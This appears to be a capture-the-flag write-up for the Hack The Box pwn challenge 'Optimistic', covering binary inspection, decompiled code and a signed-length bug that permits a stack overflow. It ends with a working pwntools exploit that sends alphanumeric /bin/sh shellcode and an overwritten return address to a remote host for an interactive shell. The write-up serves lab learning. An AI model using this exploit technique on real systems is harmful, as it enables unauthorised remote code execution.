Optimistic

🏷 pwn

Intro to Binary Exploitation htb-pwn


Bat Optimistic.zip
🔑 hackthebox
$ file optimistic
optimistic: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=24f4b065a2eab20657772e85de2af83b2f6fe8b1, for GNU/Linux 3.2.0, not stripped

$ checksec --file=optimistic 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable FILE
Partial RELRO   No canary found   NX disabled   PIE enabled     No RPATH   No RUNPATH   78) Symbols   No    0       2       optimistic
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+0h] [rbp-80h]
  size_t nbytes; // [rsp+4h] [rbp-7Ch]
  __int16 v6; // [rsp+Ch] [rbp-74h]
  char v7; // [rsp+Eh] [rbp-72h]
  char v8; // [rsp+Fh] [rbp-71h]
  __int64 v9; // [rsp+10h] [rbp-70h]
  __int64 v10; // [rsp+18h] [rbp-68h]
  char v11[96]; // [rsp+20h] [rbp-60h]
  __int64 savedregs; // [rsp+80h] [rbp+0h]

  initialize();
  puts("Welcome to the positive community!");
  puts("We help you embrace optimism.");
  printf("Would you like to enroll yourself? (y/n): ", argv);
  v7 = getchar();
  getchar();
  if ( v7 != 121 )
  {
    puts("Too bad, see you next time :(");
    v8 = 110;
    exit(0);
  }
  printf("Great! Here's a small welcome gift: %p\n", &savedregs);
  puts("Please provide your details.");
  printf("Email: ");
  v6 = read(0, &v9, 8uLL);
  printf("Age: ");
  HIDWORD(nbytes) = read(0, &v10, 8uLL);
  printf("Length of name: ");
  __isoc99_scanf("%d", &nbytes);
  if ( (int)nbytes > 64 )
  {
    puts("Woah there! You shouldn't be too optimistic.");
    exit(0);
  }
  printf("Name: ");
  v4 = read(0, v11, (unsigned int)nbytes);
  LODWORD(nbytes) = 0;
  while ( (int)nbytes < v4 - 9 )
  {
    if ( !isalpha(v11[(int)nbytes]) && (unsigned int)(v11[(int)nbytes] - 48) > 9 )
    {
      puts("Sorry, that's an invalid name.");
      exit(0);
    }
    LODWORD(nbytes) = nbytes + 1;
  }
  return puts("Thank you! We'll be in touch soon.");
}

First of all you may need to change the initialize() -> alarm(0x1E) to alarm(0xFF) in order to extend the investigation time. You can use ghex (sudo apt install ghex) or other tool to change it.

$ ./optimistic
Welcome to the positive community!
We help you embrace optimism.
Would you like to enroll yourself? (y/n): y
Great! Here's a small welcome gift: 0x7ffc2e6d8800
Please provide your details.

the memory shared 0x7ffc2e6d8800 was the $rbp

$ ./optimistic        
Welcome to the positive community!
We help you embrace optimism.
Would you like to enroll yourself? (y/n): y
Great! Here's a small welcome gift: 0x7ffd32568e50
Please provide your details.
Email: qwe
Age: 2
Length of name: 3
Name: abcdefg
Thank you! We'll be in touch soon.

$ defg
defg: command not found

Input Length of name with -1, so that we can get the higher available space (due to the unsigned int)
After that, we need to substract the given stack memory with the Name buffer to get the Name address, that is the return address we need point to

from pwn import *

context.log_level = 'DEBUG'
# io = process('./optimistic')
url = "138.68.188.223"
port = 32461
io = remote(url, port)

# Step 0: Enumerate Binary
context(os='linux', arch='amd64')
padding = 104   # [BUFFER] + [rbp]
offset = 96     # [BUFFER]

# Step 1: Stack Address
io.sendlineafter(': ', 'y')
io.recvuntil(': ')
stack_address = io.recvline().decode()[2:]
stack_address = int(stack_address,16)
stack_address -= offset
stack_address = p64(stack_address)

# Step 2: Payload
shellcode = b'XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V'  # google: alphanumeric linux /bin/sh 64 bit
payload = shellcode + b'a'*(104-len(shellcode)) + stack_address

# Step 3: Run
io.sendline(b'abcd')
io.sendline(b'1')
io.sendline(b'-1')
io.sendline(payload)
io.interactive()